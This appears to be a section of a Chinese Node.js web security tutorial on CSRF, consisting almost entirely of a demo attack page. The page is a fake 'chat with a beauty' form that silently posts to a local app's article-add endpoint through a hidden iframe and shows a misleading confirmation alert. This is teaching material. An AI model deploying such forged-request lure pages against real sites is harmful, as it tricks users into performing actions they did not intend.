12 Node.js Web 安全
12.1 CSRF
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>美女私聊</title>
</head>
<body>
<iframe name="frameNoSeen" style="display:none;"></iframe>
<h1>美女私聊</h1>
<form action="http://localhost:8100/article/add" target="frameNoSeen" method="post" id="js-article-add">
<label >标题:<input name="title"/></label><br />
<label >你想对美女说的话:<textarea rows="20" cols="50" name="content"></textarea></label><br />
<button id="fakeButton">告诉美女</button>
</form>
<script src="https://upcdn.b0.upaiyun.com/libs/jquery/jquery-1.10.2.min.js" type="text/javascript"></script>
<script>
$(document).ready(function() {
$('#fakeButton').click(function() {
alert('美女已经收到你的信息');
});
});
</script>
</body>
</html>最后更新于